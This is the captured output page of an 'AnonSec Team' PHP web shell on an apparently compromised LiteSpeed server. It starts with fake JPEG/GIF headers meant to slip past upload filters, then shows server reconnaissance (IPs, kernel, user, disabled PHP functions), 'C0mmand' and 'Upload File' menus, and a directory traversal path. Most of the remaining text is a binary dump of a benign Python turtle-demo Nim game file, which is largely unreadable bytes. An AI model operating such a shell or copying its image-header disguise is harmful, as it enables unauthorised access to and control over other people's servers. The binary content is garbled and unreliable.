����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 3.147.73.36
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/../lib64/python3.11/turtledemo/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/../lib64/python3.11/turtledemo/__pycache__/nim.cpython-311.pyc
�

�=Ogq��`�dZddlZddlZddlZdZdZdZdZedzZeedzd	zedzd
zzzZ	dZ
dZd
Zd�Z
d�Zd�ZGd�de��ZGd�dej��ZGd�de��ZGd�de��ZGd�de��Zd�Zedkre��ej��dSdS)z�      turtle-example-suite:

            tdemo_nim.py

Play nim against the computer. The player
who takes the last stick is the winner.

Implements the model-view-controller
design pattern.
�Ni�i�������)�?r	r)���r)rrr
c�@�tjtt��S�N)�random�randint�	MINSTICKS�	MAXSTICKS���'/usr/lib64/python3.11/turtledemo/nim.py�	randomrowrs���>�)�Y�/�/�/rc���|d|dz|dz}|dkrt|��Std��D]!}|||z}|||kr||f}|cS�"dS)Nr�r�)�
randommove�range)�state�xored�z�s�moves     r�computerzugr !s����!�H�u�Q�x��%��(�*�E���z�z��%� � � �
�1�X�X�����!�H�u�����a��=�=��q�6�D��K�K�K���rc��t|��}	tjdd��}|||dkkrn�'tj|dk||dz
��}||fS)NTrrr)�maxrr)r�mr�rands    rrr+sf���E�
�
�A���N�1�Q������8�q�1�u������>�!�a�%��q��!��,�,�D��d�7�Nrc�,�eZdZd�Zd�Zd�Zd�Zd�ZdS)�NimModelc��||_dSr
)�game)�selfr(s  r�__init__zNimModel.__init__6s
����	�	�	rc�2�|jjtjtjfvrdSt��t��t��g|_d|_d|_|jj	�
��tj|j_dS)Nr)r(r�Nim�CREATED�OVERr�sticks�player�winner�view�setup�RUNNING�r)s rr3zNimModel.setup9sl���9�?�3�;���"9�9�9��F� �{�{�I�K�K����=����������	��������+��	���rc��|j|}||j|<|jj�||||j��|���rBtj|j_|j|_	|jj�
��dS|jdkr=d|_t|j��\}}|�||��d|_dSdS)Nrr)
r/r(r2�notify_mover0�	game_overr,r.rr1�notify_overr r)r)�row�col�	maxspaltes    rrz
NimModel.moveBs����K��$�	����C���	��"�"�3��Y���D�D�D��>�>���	�!�h�D�I�O��+�D�K��I�N�&�&�(�(�(�(�(�
�[�A�
�
��D�K�"�4�;�/�/�H�C���I�I�c�3�����D�K�K�K�	�
rc��|jgd�kS)N)rrr)r/r5s rr8zNimModel.game_overPs���{�i�i�i�'�'rc�X�|j||krdS|�||��dSr
)r/r�r)r:r;s   rr7zNimModel.notify_moveSs3���;�s��s�"�"��F��	�	�#�s�����rN)�__name__�
__module__�__qualname__r*r3rr8r7rrrr&r&5s_���������&�&�&����(�(�(�����rr&c� �eZdZd�Zd�Zd�ZdS)�Stickc���tj�|d���||_||_||_|�||��\}}|�d��|�tdztdz��|�d��|���|�
||��|�d��|���dS)NF��visible�squareg$@g4@r�white)�turtle�Turtler*r:r;r(�coords�shape�	shapesize�HUNIT�WUNIT�speed�pu�goto�color�
showturtle)r)r:r;r(�x�ys      rr*zStick.__init__Zs����
���t�U��3�3�3���������	��{�{�3��$�$���1��
�
�8�������u�T�z�5��:�.�.�.��
�
�1�
�
�
����	�	�	��	�	�!�A�����
�
�7�����������rc���t|d��\}}dd|zzd|zztz}dd|zztz}|tdzz
tdzztdz|z
tdzz
fS)Nrrrr)�divmodrPrO�SCREENWIDTH�SCREENHEIGHT)r)r:r;�packet�	remainderrVrWs       rrLzStick.coordshss��"�3��N�N���	�
��f��_�q�9�}�
,��5��
��S��[�E�!���;�!�#�#�e�q�j�0�,�!�2C�a�2G�%�ST�*�2T�T�Trc��|jjtjkrdS|jj�|j|j��dSr
)r(rr,r4�
controllerr7r:r;)r)rVrWs   r�makemovezStick.makemovens=���9�?�c�k�)�)��F��	��(�(���4�8�<�<�<�<�<rN)r@rArBr*rLr`rrrrDrDYsD���������U�U�U�=�=�=�=�=rrDc�4�eZdZd�Zdd�Zd�Zd�Zd�Zd�ZdS)	�NimViewc�n�||_|j|_|j|_|j�d��|j�d��|j�d��t
jd���|_|j�	��|j�
d��i|_td��D]4}tt��D]}t|||��|j||f<��5|�d��|j�d��dS)	Nr
F)��rdr
rFrrz... a moment please ...T)r(�screen�model�	colormode�tracer�bgcolorrJrK�writerrRrQr/rrrD�display)r)r(r:r;s    rr*zNimView.__init__us$����	��k����Z��
�����c�"�"�"�����5�!�!�!�����O�,�,�,��m�E�2�2�2��������������!���������8�8�	@�	@�C��Y�'�'�
@�
@��*/��S�$�*?�*?���S�#�J�'�'�
@����.�/�/�/�����4� � � � � rNc��|j�d��|j���|�^|j�dt
dzdz��|j�d��|j�|dd���|j�dt
dzd	z��|j�d
��|j�|dd���|j�d��dS)
NFrr�0�red�center)�Courier��bold)�align�font��black)rp�rrT)rerhrj�clearrSr[�pencolor�write)r)�msg1�msg2s   rrkzNimView.display�s�������5�!�!�!�����������K���Q�,��!� 3�b� 8�9�9�9��K� � ��'�'�'��K���d�(�9N��O�O�O������l�N�a�/�"�4�5�5�5�����W�%�%�%�����$�h�5J��K�K�K�����4� � � � � rc��|j�d��td��D]K}t|jj|��D])}|j||f�t���*�Ltd��D]L}t|jj|t��D]$}|j||f�d���%�M|�d��|j�d��dS)NFrrI�*Your turn! Click leftmost stick to remove.T)	rerhrrfr/rT�SCOLORrrkr?s   rr3z
NimView.setup�s������5�!�!�!���8�8�	6�	6�C��T�Z�.�s�3�4�4�
6�
6����S�#�J�'�-�-�f�5�5�5�5�
6���8�8�	7�	7�C��T�Z�.�s�3�Y�?�?�
7�
7����S�#�J�'�-�-�g�6�6�6�6�
7����A�B�B�B�����4� � � � � rc���|dkr>t}t||��D]$}|j||f�|���%dS|�d��tjd��|�d��t}t|dz
|dz
d��D]8}tjd��|j||f�|���9|�d��dS)	Nrz ... thinking ...         g�?z ... thinking ... aaah ...r���g�������?r~)�HCOLORrr/rTrk�time�sleep�COLOR)r)r:r;r<r0�farbers       rr7zNimView.notify_move�s����Q�;�;��E��3�	�*�*�
3�
3����S�!�H�%�+�+�E�2�2�2�2�
3�
3�
�L�L�5�6�6�6��J�s�O�O�O��L�L�5�6�6�6��E��9�Q�;��A��r�2�2�
3�
3���
�3������S�!�H�%�+�+�E�2�2�2�2��L�L�E�F�F�F�F�Frc�f�|jjjdkrd}nd}|�d|��dS)NrzCongrats. You're the winner!!!z"Sorry, the computer is the winner.z2To play again press space bar. To leave press ESC.)r(rfr1rk)r)r|s  rr9zNimView.notify_over�s;���9�?�!�Q�&�&�3�D�D�7�D����I�4�P�P�P�P�Prc�p�|jjtjkr|j���dSdSr
)r(rr,r.rerxr5s rrxz
NimView.clear�s5���9�?�c�h�&�&��K��������'�&rr
)	r@rArBr*rkr3r7r9rxrrrrbrbtsy������!�!�!�"
!�
!�
!�
!�	!�	!�	!�
G�
G�
G�Q�Q�Q� � � � � rrbc��eZdZd�Zd�ZdS)�
NimControllerc���||_|jj|_d|_|j���D]}|�|j���|jj�|jj	j
d��|jj�|jjjd��|jj�d��|jj�
��dS)NF�space�EscapezPress space bar to start game)r(r2r/�BUSY�values�onclickr`re�onkeyrfr3rxrk�listen)r)r(�sticks   rr*zNimController.__init__�s�����	��i�&�����	��[�'�'�)�)�	*�	*�E��M�M�%�.�)�)�)�)��	����t�y��4�g�>�>�>��	����t�y�~�3�X�>�>�>��	����>�?�?�?��	����!�!�!�!�!rc�t�|jrdSd|_|jj�||��d|_dS)NTF)r�r(rfr7r?s   rr7zNimController.notify_move�s=���9�	��F���	��	��#�#�C��-�-�-���	�	�	rN)r@rArBr*r7rrrr�r��s2������	"�	"�	"�����rr�c� �eZdZdZdZdZd�ZdS)r,rrrc��tj|_||_t	|��|_t
|��|_t|��|_	dSr
)
r,r-rrer&rfrbr2r�r_)r)res  rr*zNim.__init__�s?���[��
�����d�^�^��
��D�M�M��	�'��-�-����rN)r@rArBr-r4r.r*rrrr,r,�s2�������G��G��D�.�.�.�.�.rr,c��tj��}|�d��|�tt
��t
|��}dS)N�standard�	EVENTLOOP)rJ�Screen�moder3rZr[r,)�
mainscreen�nims  r�mainr��sE������J��O�O�J�������[�,�/�/�/�

�j�/�/�C��;r�__main__)�__doc__rJrr�rZr[rrrOrPrr�r�rr r�objectr&rKrDrbr�r,r�r@�mainlooprrr�<module>r�s���	�	��
�
�
�
�
�
�
���������
�	��	�������a��2�-��Q��!�0C�C�D��	��	����0�0�0�������!�!�!�!�!�v�!�!�!�H=�=�=�=�=�F�M�=�=�=�6A �A �A �A �A �f�A �A �A �H�����F����*	.�	.�	.�	.�	.�&�	.�	.�	.�����z����D�F�F�F��F�O�������r

AnonSec - 2021